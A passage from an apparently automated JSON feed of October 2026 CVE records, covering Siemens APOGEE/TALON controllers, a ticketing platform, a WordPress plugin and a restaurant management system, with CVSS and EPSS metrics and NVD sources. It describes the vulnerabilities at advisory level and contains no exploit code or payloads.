affected versions and fixes.","publishedAt":"2026-10-13T10:17:16.293Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44415","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00477,"percentile":0.40903,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-44415&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44415","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44415","type":"primary","publishedAt":"2026-10-13T10:17:16.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-44415&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-44415, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102076","cveId":"CVE-2026-102076","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE...","summary":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate user-supplied input in upload code. This could allow an unauthenticated remote attacker to cause a denial of service.","detail":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate user-supplied input in upload code. This could allow an unauthenticated remote attacker to cause a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:14.687Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102076","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00418,"percentile":0.35791,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102076&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102076","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102076","type":"primary","publishedAt":"2026-10-13T10:17:14.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102076&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102076, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102075","cveId":"CVE-2026-102075","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE...","summary":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate user input in multipart handling. This could allow an unauthenticated remote attacker to cause a denial of service.","detail":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate user input in multipart handling. This could allow an unauthenticated remote attacker to cause a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:14.543Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102075","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00418,"percentile":0.35791,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102075&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102075","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102075","type":"primary","publishedAt":"2026-10-13T10:17:14.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102075&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102075, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102074","cveId":"CVE-2026-102074","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE...","summary":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product FTP service does not properly validate the length of user-controllable input. This could allow an unauthenticated remote attacker to cause a denial of service.","detail":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product FTP service does not properly validate the length of user-controllable input. This could allow an unauthenticated remote attacker to cause a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:14.400Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102074","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00417,"percentile":0.357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102074&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102074","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102074","type":"primary","publishedAt":"2026-10-13T10:17:14.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102074&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102074, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102073","cveId":"CVE-2026-102073","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE...","summary":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate the length of user-controllable input. This could allow an unauthenticated remote attacker to read portions of device memory or to cause a denial-of-service condition.","detail":"A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE MEC (PPC) (P2 Ethernet) (All versions), APOGEE PXC Compact (BACnet) (All versions < V3.5.7), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.21), APOGEE PXC Modular (BACnet) (All versions < V3.5.7), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.21), TALON TC Compact (BACnet) (All versions < V3.5.7), TALON TC Modular (BACnet) (All versions < V3.5.7). The affected product web service does not properly validate the length of user-controllable input. This could allow an unauthenticated remote attacker to read portions of device memory or to cause a denial-of-service condition.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T10:17:14.157Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102073","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00345,"percentile":0.27817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102073&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102073","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102073","type":"primary","publishedAt":"2026-10-13T10:17:14.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102073&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102073, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-13138","cveId":"CVE-2026-13138","aliases":[],"kind":"vulnerability","title":"Client-Side Enforcement of Server-Side Security vulnerability in Divasoft Software and E-Commerce Inc.","summary":"Client-Side Enforcement of Server-Side Security vulnerability in Divasoft Software and E-Commerce Inc. Biletiva Ticketing Platform allows Manipulating State.\n\nThis issue affects Biletiva Ticketing Platform: through 2026-07-23.","detail":"Client-Side Enforcement of Server-Side Security vulnerability in Divasoft Software and E-Commerce Inc. Biletiva Ticketing Platform allows Manipulating State.\n\nThis issue affects Biletiva Ticketing Platform: through 2026-07-23.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:17.127Z","updatedAt":"2026-10-16T19:17:05.817Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-13138","asOf":"2026-10-16T19:17:05.817Z"},"epss":{"probability":0.00236,"percentile":0.1448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-13138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-13138","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13138","type":"primary","publishedAt":"2026-10-13T09:17:17.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-13138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-13138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109687","cveId":"CVE-2026-109687","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:16.437Z","updatedAt":"2026-10-13T13:28:15.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109687","asOf":"2026-10-13T13:28:15.717Z"},"epss":{"probability":0.00226,"percentile":0.13204,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109687&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109687","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109687","type":"primary","publishedAt":"2026-10-13T09:17:16.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109687&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109687, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109116","cveId":"CVE-2026-109116","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Impacted is the function mysqli_query of the...","summary":"A vulnerability was determined in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Impacted is the function mysqli_query of the component Order Management. Executing a manipulation of the argument ID can lead to authorization bypass. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. Impacted is the function mysqli_query of the component Order Management. Executing a manipulation of the argument ID can lead to authorization bypass. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:15.917Z","updatedAt":"2026-10-14T14:17:36.807Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109116","asOf":"2026-10-14T14:17:36.807Z"},"epss":{"probability":0.00302,"percentile":0.22766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109116&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109116","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109116","type":"primary","publishedAt":"2026-10-13T09:17:15.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109116&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109116, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109115","cveId":"CVE-2026-109115","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This issue affects some unknown processing of the file...","summary":"A vulnerability was found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This issue affects some unknown processing of the file User/forgot3.php of the component Password Reset. Performing a manipulation of the argument email/password results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This issue affects some unknown processing of the file User/forgot3.php of the component Password Reset. Performing a manipulation of the argument email/password results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T09:17:15.730Z","updatedAt":"2026-10-16T22:17:18.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109115","asOf":"2026-10-16T22:17:18.243Z"},"epss":{"probability":0.00263,"percentile":0.17975,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109115&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109115","type":"primary","publishedAt":"2026-10-13T09:17:15.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109115&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109115, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109114","cveId":"CVE-2026-109114","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This vulnerability affects unknown code of the file...","summary":"A vulnerability has been found in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This vulnerability affects unknown code of the file User/login.php of the component Login Form. Such manipulation of the argument email/passwd leads to improper authentication. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability has been found in 